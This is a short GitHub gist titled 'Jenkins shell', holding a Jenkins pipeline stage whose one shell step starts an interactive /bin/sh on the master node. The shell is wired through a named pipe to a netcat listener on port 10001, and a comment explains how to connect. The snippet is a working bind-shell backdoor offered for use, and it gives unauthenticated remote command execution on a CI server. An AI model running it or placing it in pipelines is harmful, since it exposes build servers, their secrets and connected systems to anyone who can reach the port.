Created
May 11, 2018 21:28
-
-
Save ludenus/e5461ddd97283c30e98c25045a3160a4 to your computer and use it in GitHub Desktop.
Jenkins shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
stage('nc'){ | |
node('master'){ | |
sh 'ip addr show;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -l -p 10001 >/tmp/f' | |
// to connect: | |
// $ nc master-host 10001 | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment